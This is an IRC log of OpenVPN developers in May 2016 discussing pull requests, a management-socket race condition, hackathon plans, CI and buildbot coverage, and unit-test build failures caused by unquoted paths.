<@mattock> james is reading and responding to mails, just selectively 02:47 <@cron2> ok, so maybe I have a lucky day :) 02:47 <@mattock> he has discussed the cipher issue internally related to openvpn connect and PT client 02:47 <@mattock> but the requirements there are somewhat different from ours ("thou must not break customer configurations") 02:47 <@cron2> I was more hoping for a response on PR#46... 02:48 <@cron2> those requirements are not that much different from mine - as I wrote, if we roll out a new 2.3.x version that will break existing VPN setups, a number of people that actually pay me money to make their VPN work will be very unhappy with me... 02:48 <@cron2> rolling out something which only needs server changes (due to having pushable ciphers) is fine... 02:49 <@cron2> with connect and PT, it shouldn't be a major issue, as it has AEAD and pushable ciphers, no? (But of course that needs a *server* that can handle per-client ciphers ;-) ) 02:49 <@mattock> I have to go through the PRs, haven't yet had time 02:50 <@mattock> they've mostly been talking about older 2.x -based clients breaking 02:50 <@cron2> PR#46 is basically "james committed something in 2010 that introduced a race condition in management socket handling" 02:51 <@mattock> cron2: adding "@jamesyonan" to the comments _might_ help 02:51 <@mattock> then he'd get notified via his default github email (which might not be @openvpn.net address) 02:52 <@mattock> wow, we have d12fk commenting on PR 47 :) 03:04 <@mattock> I need to buy more memory to my laptops to be able to really use Vagrant (https://github.com/OpenVPN/openvpn/pull/45) 03:04 <@vpnHelper> Title: Add vagrant based integration tests by neuhalje · Pull Request #45 · OpenVPN/openvpn · GitHub (at github.com) 03:05 <@mattock> that said, I've intended to do that anyways, so... 03:08 <@plaisthos> cron2: management_read being called recursive definitively crashes OpenVPN 03:08 <@plaisthos> cron2: I had to workaround that issue myself 03:12 <@cron2> plaisthos: so is that patch the right fix? 03:15 <@plaisthos> cron2: if that patch really does that, yes 03:15 * cron2 has no idea 03:23 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Quit: foo!] 03:23 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 03:23 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 03:27 <@plaisthos> hm going to helsinki I either have a stopover in MUC oder CPH 03:28 <@cron2> MUC sounds like "2 hours more travel time, half the price"... 03:31 <@plaisthos> price is higher 03:31 <@plaisthos> 159 vs 200 EUR 03:31 <@plaisthos> but stopover in cph has the prbome of being only 35 minutes and I have to be at DUS or Hannover at 6 am 03:31 <@cron2> ugh 03:31 <@plaisthos> so it is probably going to be munich 03:32 <@cron2> MUC-HEL looked nice when I checked, like 3 flights a day for 139 EUR 03:32 <@plaisthos> http://goo.gl/flights/vx7S 03:32 <@vpnHelper> Title: Google Flights (at goo.gl) 03:32 <@plaisthos> that is probably flight 03:32 <@plaisthos> +/- days 03:32 <@plaisthos> and I might stay a day or two longer to check out Helsinki 03:35 <@mattock> I'm mentioning in the PRs that they can be used for code review, but that the final patch needs to go openvpn-devel mailing list 03:36 <@mattock> and that the final patch does not necessarily come from the patch author 03:36 <@mattock> just so that you know, and so that we don't contradict each other later 03:42 <@mattock> I'll quickly update CONTRIBUTING.rst and then we can have another bikeshedding discussion if we want :P 03:44 <@cron2> I think the final patch should come from the patch author, but we can always make exceptions 03:45 <@cron2> the whole "openvpn-devel is so unfriendly, so I'm not sending patches there!" complaining from chipsistine is so ridiculous - his patches are garbage, and by insisting on bombarding us with PRs, he's just stealing time 03:46 <@cron2> PR#48 is a duplicate of PR#47, and PR#47 is a huge hubbub about duplicate free() errors in openvpn service, which is just plain incorrect but cost me half an hour yesterday 03:46 <@d12fk> cron2: the realloc fix is actually valid 03:47 <@cron2> d12fk: ... but tab broken, so not overly useful either... 03:47 <@d12fk> is helsinkki on for the hackathon? 03:48 <@d12fk> cron2: true 03:51 <@cron2> d12fk: yes, that's the curren plan - Helsinki, Sep 16-Sep 18. Waiting for final confirmation from Lev__ 03:51 <@cron2> current 03:55 <@mattock> I sent the CONTRIBUTING.rst patch to the list 03:55 <@mattock> I'll reword it as necesassary 03:56 <@mattock> I think the key thing is to _not_ scare GitHub contributors away by forcing them to subscribe to a mailing list (which they would not read at all) 03:57 <@mattock> there are useful fixes and contributions there 03:58 <@mattock> as for chipitsine... it probably makes sense to require him to fix the formatting issues before even reviewing the patch 03:58 <@mattock> I think we should force people to pay attention to those kind of details 04:00 <@cron2> the wording in CONTRIBUTING.rst is fine for me 04:01 <@mattock> the patch applies both to release/2.3 and master, so feel free to merge it to both 04:01 <@mattock> I need to split to lunch, might take a few hours 04:28 <@cron2> commit frequency is definitely going up... just did a bit of statistics... :) 04:37 <@plaisthos> .oO(timeout patch) 04:41 <@cron2> yeah 07:36 <@dazo> cron2: you think I should already start hacking on a --auth-cache patch? .... I believe I might have some time available later today and tomorrow for that 07:36 <@cron2> dazo: I don't think it's that urgent :) 07:38 <@dazo> Today and tomorrow, I'm basically cleaning up my desk and laptops preparing for a handover tomorrow ... but I can sure look at a few other more urgent openvpn things then tomorrow :) 07:46 <@plaisthos> dazo: are you going to move or working remote? 07:46 <@dazo> working remote 07:47 <@dazo> but I've checked out a few possibilities for renting a desk in a shared office space, which looks promising and not too expensive 08:06 <@cron2> dazo: right now, understanding the race condition in PR#46 seems most urgent to me 09:12 <@dazo> eww ... windows code paths :/ 09:13 <@cron2> well, the test program is a bit nasty for us unix folks :) - but the problem itself seems to be platform independent (or am I misreading this) 09:43 <+krzee> ohai 09:55 <@dazo> cron2: I'm pondering to just close PR#7 09:56 <@plaisthos> dazo: just do it 09:57 <@plaisthos> it is still there for reference 09:58 <@dazo> done :) 09:58 <@plaisthos> This partically DPI only does prepending a static amount of 200 byte of nonsense in front of each packet 09:58 <@plaisthos> and has other issues like comments 09:58 <@plaisthos> + /* Added by RusslanK: BEGIN */ 09:59 <@plaisthos> we should all start doing that 09:59 <@plaisthos> /* Added by dazo */ 09:59 <@plaisthos> /* modified by plaisthos */ 09:59 <@plaisthos> /* modified again by plaisthos */ 09:59 <@plaisthos> /* modified by cron2 */ 09:59 <@dazo> lol 10:00 <@plaisthos> /* cron2s modification was nonsense, reverted by palisthos */ 10:00 <@dazo> I didn't look that much into the code details, I just saw the general idea and read the other comments ... and it didn't make sense to me .... I hope my comment at the end covers it well enough 10:02 <@dazo> I'm more willing to look into code which adds UDP support with socks support 10:02 <@cron2> who is this palisthos...? 10:02 <@cron2> dazo: we have SOCKS+UDP support 10:03 <+krzee> does the auth work on that ^ now? 10:03 <@dazo> ahh, then it's obfsproxy which lacks the UDP support 10:03 <+krzee> long ago when i used --socks i didnt 10:03 <+krzee> ya obfs lacks udp 10:03 <@dazo> I know openvpn + obfsproxy requires TCP 10:03 <@dazo> (which isn't that odd ... as http/https mostly uses TCP :)) 10:03 <@cron2> socks is magic, it's a tcp connection for control and "what you need" for data - socks+udp is part of my t_client suite 10:03 <+krzee> ovpn over dante on udp works tho 10:03 <@cron2> right 10:03 <+krzee> (back when i used it it needed no auth, but it worked) 10:04 <@dazo> Haven't tested socks with auth, so dunno 10:04 <@dazo> cool that we test socks+udp though! 10:05 <@plaisthos> cron2: angry reverter plaisthos :) 10:06 <@plaisthos> I think a sensible approach would to provide a plugin api for obfuscation plugins 10:07 <@cron2> I think I wrote that into some PR or trac ticket just yesterday :-) 10:07 <@cron2> a plugin that is called right before sendmsg() can do whatever obfuscation it wants, and right after recvmsg() for de-obfuscation 10:10 < Thermi> I didn't see any response to my questions, so I am repeating them: 10:10 < Thermi> Can I use the windows TAP driver with synchronous IO (ReadFile, WriteFile) or do I really need to do that batshit crazy asynchronous IO queue thingy? 10:10 < Thermi> I'm reading the source of the tap driver and the source of openvpn, but it's both not understandably for a noob like me 10:10 < Thermi> The source of the tap driver tells me, that it assumes that queue thing, so I do not know if writing and reading from it synchronously would work 10:11 <@dazo> That makes more sense ... and if that mangler can produce obfsproxy compatible packets, then the same openvpn server process can handle both obfsproxy and non-obfuscated connections (as the server side would run obfsproxy in addition to openvpn) 10:11 <@cron2> Thermi: we wouldn't know 10:11 < Thermi> cron2: I know that you don't, because you're only doing *nix, but I hope that other people could know 10:12 <@plaisthos> Thermi: keep in mind that hte windows tap driver is more "a tap driver for OpenVPN" then a tap driver for everyone 10:12 <@plaisthos> so staying close to OpenVPN's behaviour is probably the easiest way forward 10:12 < Thermi> plaisthos: Hmh. Okay. Crap. 10:12 <@plaisthos> btw. there other windows programs using the OpenVPN tap driver that could have or not have more readable source code 10:13 < Thermi> I already deciphered the openvpn source code and the tap driver source code, but I do not know anything about the windows internals to be able to judge if I could just use synchronous IO instead of asynchronous IO 10:15 <@plaisthos> so even if it works with synchronous io you might run into problems because no one has tested that before 10:15 < Thermi> I also don't understand why the tap driver needs to know what the remote subnets are. 10:15 < Thermi> Yes, exactly. 10:15 <@cron2> it doesn't - it wants to know the locally connected network to be able to spoof ARP responses if in tun mode 10:17 <@dazo> mattock: since you seem to be pretty much up-to-date on the docs ... could you have a look at PR#25? 10:17 <@dazo> (or perhaps close it if its already covered) 10:19 < Thermi> cron2: OpenVPN definitively sets the remote subnet and other stuff via device IO on the TAP device, so there's something going on with it. And it does some validation on them. I just remembered that we discussed this and I thought about using some fake gateway in the 169.254.0.0/16 range to fake a GW and route stuff over it. Hmh. A complex matter. 10:21 <@cron2> Thermi: that is not "remote" - that is "your local subnet including the remote gateway" 10:21 < Thermi> Okay 10:21 <@dazo> cron2: isn't PR#19 covered by commit a8f8b9267183c3cfc065f344d61effe6c55c3da6? "put virtual IPv6 addresses into env" by d12fk 10:21 <@cron2> it's basically mirroring what DHCP/netsh is telling windows what the subnet is, so the tap adapter knows as well 10:22 <@cron2> dazo: looks very much like it (... and this is one of the things that annoys me about PRs - "yet another heap of things that someone has to track, update, close") 10:23 <@dazo> right, I'll close it with a pointer to that commit 10:23 <@dazo> otherwise, agree to PR annoyances 10:24 <@cron2> the commit is not exactly the same (env variables are named a bit differently since that was easier to implement with helper functions), but it gets the same job done 10:24 <@cron2> #17 might or might not have fixed by syzzer already - I remember a bunch of OCSP_check.sh commits 10:32 <@plaisthos> I am also not sure if OpenVPN or the tap driver does implement the dhcp server for setting the ip address 10:34 <@cron2> tap driver 10:34 <@cron2> (at least I seem to remember that... and that would explain why all the DHCP stuff is windows-only) 10:35 < Thermi> somebody(tm) should finally document what it actually does. 10:35 < Thermi> Maybe I do that when I'm finished. 10:45 <@plaisthos> that would certainly be appriciated 10:46 <@cron2> +1 10:47 < Thermi> I want to be the last person that suffers through it. 11:17 <@syzzer> cron2: yes, #17 is already covered (closed now) - those patches seem to have been submitted to the mailinglist shortly after the pull request was opened. 11:49 <@syzzer> grmbl grmbl, seems like openssl can't even report what a cipher's block size is (it's set to 1 byte for all stream ciphers, such as OFB, CFB and GCM...) 12:52 <@cron2> haha, James... 12:53 <@cron2> "folks, you're doing it all wrong, and btw, the magic option that you want is in there since 2.1n and just not documented anywhere" 12:53 <@cron2> Version 2.1.3n 12:53 <@cron2> Added "auth-token" client directive 13:00 <@dazo> *but* that requires auth plugins to pick it up and do the authentication caching there 13:01 <@dazo> we could still add --auth-cache on the server putting that caching on a more generic level on the server side though 13:02 <@dazo> not sure what I prefer .... but getting plug-in developers to fix their plug-ins might not always work too well :/ 13:31 <@cron2> but the thing is that all the client-side infrastructure is already there, even for 2.1 clients - so it's really just server side and much less work 14:13 <@cron2> syzzer: I'm sure you've followed that, but anyway - https://boringssl-review.googlesource.com/#/c/7962/ 14:13 <@vpnHelper> Title: Gerrit Code Review (at boringssl-review.googlesource.com) 14:17 <@syzzer> cron2: actually, I didn't :) I knew there was an OpenSSL implementation (albeit not merged upstream), but didn't know BoringSSL is actually willing to accept it 14:17 <@syzzer> cool :) 21:56 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 21:58 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 21:58 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ --- Log closed Fri May 20 01:28:05 2016 --- Log opened Sat May 21 20:51:18 2016 20:51 -!- Irssi: #openvpn-devel: Total of 27 nicks [7 ops, 0 halfops, 1 voices, 19 normal] 20:51 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 20:51 -!- Irssi: Join to #openvpn-devel was synced in 9 secs --- Day changed Sun May 22 2016 10:17 -!- esde [~something@openvpn/user/esde] has joined #openvpn-devel 10:19 -!- esde [~something@openvpn/user/esde] has quit [Client Quit] 10:28 -!- esde [~something@openvpn/user/esde] has joined #openvpn-devel 15:44 <@vpnHelper> RSS Update - gitrepo: Fix handling of out of memory error in interactive service <https://github.com/OpenVPN/openvpn/commit/600dd9a16fc61ff6e595f500fba5daf14248b739> || Update CONTRIBUTING.rst to allow GitHub PRs for code review purposes <https://github.com/OpenVPN/openvpn/commit/698f0dab76741f4ce8c1a98236786d59eca338ef> --- Day changed Mon May 23 2016 02:25 <@cron2> mornin... on my way to Copenhagen now... 2.3.12 will need to wait till next weekend 02:26 <@mattock> ok, fine by me 02:26 <@mattock> today would have been rather hectic for me too 02:30 <@cron2> james seems to be more busy than usual... no feedback on the two items we wanted "in"... 02:30 <@mattock> hmm 02:31 <@mattock> cron2: did you explicitly send him email already? 02:33 <@cron2> about the pr, yes, and syzzer mailed security@ 02:34 <@cron2> afk... boarding now... back online in about 4h 02:35 <@mattock> ok 05:43 < lev__> hi all, got green light to hackathon in Helsinki in our premises 07:07 <@plaisthos> lev__: Whee! 07:09 <@plaisthos> depending on when cron2 flies, I might be able to meet him at Munich Airport :D 07:11 <@cron2> lev__: that is cool! so, please open a wiki page (just copy last year's :-) ) so we can start booking flights and put in the details! 07:36 < lev__> cron2: ack 09:17 <@syzzer> lev__: nice! I'm looking forward to Helsinki :) 17:55 -!- Netsplit *.net <-> *.split quits: @syzzer --- Day changed Tue May 24 2016 02:41 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:42 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 02:51 <@cron2> syzzer: what platforms does travis-ci give us? 02:51 * cron2 still doesn't really grok the whole travis thing 02:54 <@mattock> probably ubuntu 14.04 or something by default 02:54 <@mattock> not full coverage by any means 03:28 <@cron2> which is not really helping with the intended goal of "test new stuff across all systems" 03:29 <@cron2> so it's good, but we should pursue the idea of opening up github for "testing branches" and use the buildbots to test that stuff 03:51 <@syzzer> cron2: not so many platforms (Linux, mac), but we can do a plethora of ./configure option tests, before looking at single line of code 04:19 <@cron2> syzzer: this definitely would help for "it does not compile with --disable-crypto", but we've also had "it blows up all BSDs" commits, and it would be nice to give contributors the option to test across all platforms 04:19 <@cron2> so travis-ci would nicely complement buildbot 06:56 <@ecrist> just a test system of some sort would be nice. FreeBSD has something called poudriere that ports contributors are expected to use to verify their port builds within the ports tree 06:57 <@ecrist> they go to the effort to make sure it knows about how to build the ports, the developers just have to keep it up to date and use it 06:57 <@ecrist> what you're looking to do is a bit more intense, but also a much smaller audience. 08:06 <@cron2> we do have the test systems :) 08:06 <@cron2> we just need to teach them to build stuff coming from other repos... 08:09 <@ecrist> we might want to make the tests runnable on other systems, though (i.e. not OUR build systems) 08:10 <@cron2> ecrist: mmmh? they are :) - but hardly anyone is insane enough to install 10 different OSes "just to run a few tests" 08:14 <@ecrist> lazy bastards 08:14 <@mattock> that is basically what Vagrant is for 08:14 <@ecrist> ;) 08:14 <@mattock> and there is a pull request for that one in GitHub 08:14 <@cron2> you still have to set *that* up first... and even then, you need a virtualization infrastructure around, etc. 08:15 <@mattock> yes, you need virtualbox and lots of RAM 08:15 <@mattock> but the rest is really quite easy (as in: "15 minutes") 08:16 <@mattock> you _can_ run vagrant on non-virtualbox virtualization, but typically it sucks more 08:16 <@mattock> things break or get bogged down on a desktop computer 08:17 <@mattock> I've used various vagrant virtualization providers in the past, and virtualbox is the least painful 08:17 <@mattock> e.g. EC2, ovirt, libvirt, virtualbox 08:17 * cron2 would really like to see someone setting up a VM with OpenSolaris in in 15 minutes... let alone FreeBSD, NetBSD, OpenBSD, OpenSolaris, *Linux all at once... 08:17 <@mattock> well the virtual images are only built occasionally 08:17 <@cron2> if you have ready-made VM templates - yes, then it's easier :) 08:17 <@mattock> when tests are being run, a cached copy is used 08:18 <@mattock> but you _can_ rebuild the entire VM whenever needed 08:18 <@ecrist> is opensolaris even relevant any longer? 08:18 <@ecrist> I suppose, we still build windows xp 08:18 <@mattock> the point of vagrant is to allow all developers to have the the same test setup at their fingertips 08:18 <@cron2> still not something you want to do for a single patch... 08:19 <@cron2> ecrist: we do not build XP on master anymore, but Solaris is still a supported platform 08:20 <@cron2> (there are actively-maintained opensolaris spinoffs, and people actually *do* use Solaris - possibly more than use OpenBSD) 08:22 <@ecrist> yeah, we still have a few solaris boxes here at $work 08:22 <@ecrist> I'm working on deprecating them, however. 08:22 <@ecrist> they've become a liability 09:44 -!- Netsplit *.net <-> *.split quits: @vpnHelper 10:15 -!- Netsplit over, joins: @vpnHelper 10:38 -!- Netsplit *.net <-> *.split quits: @vpnHelper 10:42 -!- Netsplit over, joins: @vpnHelper 17:41 -!- cron2 [~hunger@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] --- Day changed Wed May 25 2016 02:31 -!- cron2_ [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 02:31 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 04:19 <@dazo> mattock: have you looked into ansible? that could help scripting buildbot setup, and it isn't overly complicated. All you need is the ansible stuff installed on your the box you perform the operations from, ansible uses ssh and scp's all the stuff it needs on-the-fly to the remote box 04:47 <@syzzer> dazo: did you notice the systemd-ask-password patch from Selva today? I recall you sent something like that earlier. 04:49 <@dazo> haven't come so far down in my mailbox yet 04:49 * dazo looks 04:51 <@dazo> right ... that's basically what resulted my work on the query-user-input stuff ... which has been shut down 3 times already, so need to get the 4th one up 04:52 <@dazo> btw ... here's a few things we should probably consider for openvpn as well ... https://blog.torproject.org/blog/mid-2016-tor-bug-retrospective-lessons-future-coding 04:52 <@vpnHelper> Title: Mid-2016 Tor bug retrospective, with lessons for future coding | The Tor Blog (at blog.torproject.org) 05:21 <@dazo> the fun detail about the --echo patch ... is that I wrote the systemd patch ages ago adding that feature in systemd ... and I expected it to be harder to get it added in systemd than getting the support for this into openvpn .... well, I got that wrong 06:45 -!- wiz is now known as jmaurice 06:46 -!- jmaurice is now known as wiz 06:55 <@plaisthos> dazo: :p 06:57 <@plaisthos> lev__: did you already create a wiki page for the meeting? --- Day changed Thu May 26 2016 01:06 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 264 seconds] 01:45 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 05:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 05:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:32 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:49 <@dazo> Anyone here checked out gitlab? Done a little testing from time to time, will probably be where I'll put my own public git trees 06:49 <@dazo> https://gitlab.com/dazo/openvpn 06:49 <@vpnHelper> Title: David Sommerseth / openvpn · GitLab (at gitlab.com) 06:50 <@dazo> I appreciate that gitlab is more open source and you can fetch the code and run it in your own infra 07:10 * cron2_ will push to wherever dazo decides :) 07:10 <@cron2_> you know that stuff :) 07:10 <@mattock> dazo: yeah, I've used GitLab in a few places 07:26 <@mattock> cron2: I switched to the Windows buildslave to use the public openvpn-windows-buildtest repo, so you will see at least one "extra" build based on "master" 07:26 <@mattock> well, extra, not "extra" 07:26 <@mattock> :) 07:26 <@dazo> If it works fine .... I think we should consider to ditch sourceforge.net for all hosting and move it to gitlab 07:27 <@mattock> what is this week's f***up from SF.net? :P 07:27 <@dazo> hmmm ... either "Read-only" flag on the wiki front-page is broken, or I got elevated privileges :) 07:27 <@mattock> or have they learned their lesson finally 07:27 <@mattock> dazo: if you have admin rights then you can edit the wiki 07:28 <@dazo> I dunno ... but their whole git web presentation is just not really easy to work with ... github and gitlab are the leading ones here, I think 07:28 <@mattock> yeah, you have "WIKI_ADMIN" rights 07:28 * dazo feels privileged :-p 07:29 <@mattock> don't worry, you're just there with every other developer :D 07:29 <@dazo> hahaha 07:29 <@mattock> "the privileges eight" to be exact 07:29 <@mattock> privileged 07:29 <@dazo> Sounds like a movie title: The Privileged Eight 07:32 <@dazo> cron2_: will you be around for some hours today? I'm back at the query-user-input patch set 07:55 <@mattock> dazo: yeah :D 07:55 <@mattock> I see you added a Hackthons page 07:55 <@mattock> nice 08:00 <@dazo> More a Hackathon section, as we begin to have a few of them now :) 08:00 <@dazo> They even seem to happen quite regularly even :) 08:01 <@mattock> ah yes, a section 08:08 <@mattock> I have an old task "add cppcheck to buildbot" in my queue 08:08 <@mattock> however, I guess Travis would be better place for that 08:09 <@mattock> it seems possible to suppress false positives (http://cppcheck.sourceforge.net/manual.pdf) 08:09 <@mattock> should we move forward with this or just let somebody run cppcheck manually? 08:10 <@mattock> part of "make test" maybe? 08:10 <@mattock> or was it "make check" 08:12 <@dazo> I think makes sense to have it in buildbot ... as there we (hopefully) test different C compiler versions as well 08:13 <@dazo> but ... our current buildbot is mainly Intel ia32/x86_64 arch, right? 08:13 <@mattock> so cppcheck results vary between compiler version? 08:13 <@mattock> yes 08:14 <@dazo> maybe we should sign up for a couple of IBM POWER8 based virtual machines ... there's a lab in Brno where we can get access, power8 can run in both little and big endian, so having one of each would extend compiler testing as well 08:14 <@dazo> http://research.redhat.com/projects/getting-started-with-power-8/ (I was part of that team in RH) 08:14 <@vpnHelper> Title: Getting started with Power 8 Red Hat University Program (at research.redhat.com) 08:15 <@mattock> oh 08:15 <@cron2_> dazo: buildbot - only intel i386 / amd64 arch, yes. I do have a Sparc64/FreeBSD machine that I test on, and can test on IBM/AIX, but cannot give access to outsiders there (and builbot-controlled-by-samuli is "outsiders" in this context) 08:15 <@dazo> that's what I thought :) 08:15 <@cron2_> having a buildbot on such a power8 machine with linux would be a nice addition 08:16 <@cron2_> and I really need to see that I can get a MacOS X vm running (which is possible, but "tricky") 08:16 <@dazo> I would say it would make sense to have 2 of them, one LE and BE 08:16 <@cron2_> no idea how that works, but if it's easily done, yes :) 08:16 <@dazo> it's just to send two applications, and you get two host names ;-) 08:17 <@cron2_> regarding the auth-user-pass patch - today (and until Saturday) is not good, as I'm on a conference in Copenhagen 08:17 <@dazo> ahh, right ... I'll prepare things so we can hopefully have a look at it next week then 08:17 <@cron2_> right *now* I have some 5 minutes (because I'm waiting for someone to show up) - but I do not have much brains left after 3.5 days packed with talks etc. - so not very good 08:17 <@cron2_> that would be good, I think 08:18 <@cron2_> something else I have been thinking about: we might consider getting rid of the linked list approach here again - it's complex, and we only ever use these for a very short moment, and only 2 or 3 entries in there - so why not just have a structure with entry[10] in there? 08:19 <@dazo> okay, I'll get things in a good shape for next week ... the rebase is going to be somewhat tricky, but doable 08:19 <@cron2_> yes, it will not work if we have 11 prompts - but I think we might not ever get there (I can see any use case having more than maybe 4 prompts - user, pass, cert key, and challenge response)... 08:19 <@dazo> good point ... if that's an acceptable memory consumption for the embedded type of units 08:20 <@dazo> if we reach a limit of 10 elements, then we can surely move to a linked list instead 08:20 <@cron2_> it might actually use *less* memory if you factor in the overhead for the small items allocated for the linked list, plus the link pointer :) 08:20 <@dazo> heh ... good point! 08:21 <@dazo> at least on 64bit systems 08:22 <@mattock> dazo: the Power8 thing looks interesting indeed 08:22 <@cron2_> total memory usage won't be that high anyway - 10* (2 pointers + capacity + flags), so 10* 12 = 120 or 10* 20 = 200 bytes... 08:23 <@cron2_> ok, things are happening here - will be back *wave* 08:27 <@dazo> [OT] ... I get quite a Back to the Future backflash here ... https://www.youtube.com/watch?v=6WpnCHp51FE 08:27 <@dazo> hahaha ... especially on this one! https://www.youtube.com/watch?v=G5FyMP7PTaY 08:49 * dazo brb ... need to change office space --- Day changed Fri May 27 2016 02:29 <@cron2_> syzzer: seen your ACKs, still in Copenhagen -> will work on that sunday/monday 04:54 <@plaisthos> I looked into os x vm 04:55 <@plaisthos> it seems that you can get them running with not to much effort on a modern Intel CPU with Linux KVM 04:55 <@plaisthos> unfortenately my server is AMD Opteron :( --- Day changed Sat May 28 2016 03:10 -!- krzee [ba95f387@openvpn/community/support/krzee] has quit [K-Lined] --- Day changed Mon May 30 2016 01:42 <@cron2_> mornin' 01:54 <@cron2_> d12fk: could you have a look at PR#53? You might know the answers 01:55 <@cron2_> GUI-PR that is, https://github.com/OpenVPN/openvpn-gui/issues/53 01:55 <@vpnHelper> Title: Script timeout -- why have them? · Issue #53 · OpenVPN/openvpn-gui · GitHub (at github.com) 03:02 <@mattock> so everybody set for meeting tonight? 03:02 <@mattock> I'll announce it if that is the case 03:10 <@cron2_> yes 03:10 <@mattock> ok 03:10 <@cron2_> I've created a 2016 hackathon page ("empty-ish") and linked it already 03:11 <@mattock> noticed 03:11 <@mattock> invitation sent 04:49 <@dazo> I'll try to join the meeting today, it's typical bedtime time for $DAUGHTER ... but if all goes fine I'll be there soon after 20:00 04:50 <@cron2_> cool 04:50 <@syzzer> I'll join too 04:50 <@cron2_> our official "light off now!" time is 19:30, so usually there is silence by 20:00 :) (not always...) 04:54 <@dazo> This week is also my "upstream week", so I'll dive into the query-user-input stuff now 07:47 <@dazo> cron2_: looking at making the query user info an array of structs ... there are a few places for() loops are needed. Would you prefer a macro declaring the size and use that in the loops ... or sizeof(array_of_data)/sizeof(struct query_user) ... or making another macro, NUM_ELEMENTS(array_of_data) expanding to the sizeof() example in this line? 07:52 <@cron2_> I'd just do a #define NUM_SLOTS 10 or such, keep things simple 07:53 <@dazo> goodie, I had a feeling you'd prefer that approach :) 10:57 <@plaisthos> community.openvpn.net/ down? 10:57 <@plaisthos> or it is just me? 11:04 <@syzzer> plaisthos: works for me 13:00 <@cron2_> so, meeting in 2 min... 13:01 <@mattock> hi 13:03 * cron2_ sends mattock to openvpn-devel 13:03 <@mattock> meeting 13:04 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 13:04 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:04 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:06 -!- cron2_ is now known as cron2 13:12 * dazo is here 13:13 <@cron2> we need you over there :) 13:14 * dazo moves over to there 13:15 <@cron2> dazo: I'd invite you to #openvpn-meeting but the server isn't letting me - so, just "as text" :) 13:33 <@mattock> is #openvpn-meeting playing tricks? 16:34 <@vpnHelper> RSS Update - gitrepo: Add a test for auth-pam searchandreplace <https://github.com/OpenVPN/openvpn/commit/4507bb6cd11799f72f1ede602315a60e03bb449c> || Add unit testing support via cmocka <https://github.com/OpenVPN/openvpn/commit/40cb4cfc5d011102daec61ab39583cba0eeb3077> 17:15 <@vpnHelper> RSS Update - gitrepo: Add link to bug tracker <https://github.com/OpenVPN/openvpn/commit/ac2309b889552f2a0382414ff46b2682c2101674> 17:22 <@vpnHelper> RSS Update - gitrepo: Update contrib/pull-resolv-conf/client.up for no DOMAIN <https://github.com/OpenVPN/openvpn/commit/4a506b9ca2d8bbfaa5d49c6fe9a073d8ff3e59d1> --- Day changed Tue May 31 2016 01:49 <@mattock> I think the unit testing patch broke openvpn-build 01:49 <@mattock> config.status: error: cannot find input file: `vendor/Makefile.in' 01:50 <@mattock> or is this just because of missing cmake? 01:50 <@mattock> testing 01:51 <@cron2> oh, dazo was busy 01:53 <@cron2> the unit testing patch broke all of the buildslaves, if I see this right... so we really should fix this to fall back to "skipped" if no cmake is around, instead of blownig up 01:54 <@cron2> it *might* actually just be due to incorrect quoting of path names, and buildbot build names with " " in them... 01:55 <@cron2> rm -rf /var/lib/buildbot/slaves/openvpn/build-ubuntu-1204-i386-stable-master--disable-server --enable-small /build/vendor/.build/cmocka 01:55 <@cron2> rm: unrecognized option '--enable-small' 01:55 <@cron2> "there shoudl be quotes" 01:58 <@mattock> hmm, manually building with openvpn-build seems to work 01:58 <@cron2> building (at least on the unix buildslave) works, it only fails "make check" as far as I could see 02:05 <@mattock> builder-cron2-openbsd-49-i386-stable-master--with-crypto-library=mbedtls --enable-crypto --disable-plugin-auth-pam fails at test phase: 02:05 <@mattock> mkdir -p /vendor/dist mkdir: /vendor: Permission denied 02:06 <@mattock> builder-cron2-opensolaris-10-i386-stable-master--with-crypto-library=mbedtls --enable-crypto: 02:06 <@mattock> mkdir: /build/vendor/dist: [No such file or directory] 02:06 <@cron2> I assume that is "blank at the end of the path", and due to non-quoting, it turns out to be 'somedirectory /vendor/dist', which ends up trying to mkdir /vendor 02:06 <@mattock> builder-debian-7-i386-stable-master: 02:06 <@mattock> /bin/bash: cmake: command not found 02:07 <@mattock> a mixture of issues 02:07 <@mattock> I'll have a look at master.cfg 02:08 <@cron2> that patch needs fixing 02:08 <@cron2> "not having cmake" needs to result in "skipped", not in failures to build - and "a working directories with blanks in it" must NEVER cause failures due to non-quoting 02:08 <@mattock> in any case I'll add cmake to my buildslaves 02:09 <@mattock> yep 02:10 <@mattock> so what about the Windows "buildslave" failures? 02:10 <@mattock> there are no spaces in those paths, and the error seems slightly different: 02:10 <@mattock> config.status: creating tests/unit_tests/example_test/Makefile 02:10 <@mattock> config.status: error: cannot find input file: `vendor/Makefile.in' 02:11 <@cron2> indeed, that is blowing up much earlier 02:11 <@cron2> no idea about that 02:11 <@mattock> I'll do some testing 02:21 <@mattock> rebuilding builder-debian-7-i386-stable-master to see what happens if cmake is installed 02:23 <@cron2> and *next* meeting, we need to have the discussion about opening up our github repo (some of the branches) and allowing "known" developers to push to personal branches in there, and make buildbot build those... 02:24 <@cron2> (like, jens could push to "jensneuha-testing", syzzer to "syzzer-testing", or whatever) 02:26 <@mattock> yeah, we can definitely do a few builds per branch 02:26 <@mattock> not the whole battery I think, or our buildslaves would choke 02:26 <@cron2> not necessarily auto-build everyhing, but "on demand" 02:27 <@cron2> "I think this is good, but it affects lots of platform specific code, so build all" or "does this still work on NetBSD? just run an individual build there!" 02:28 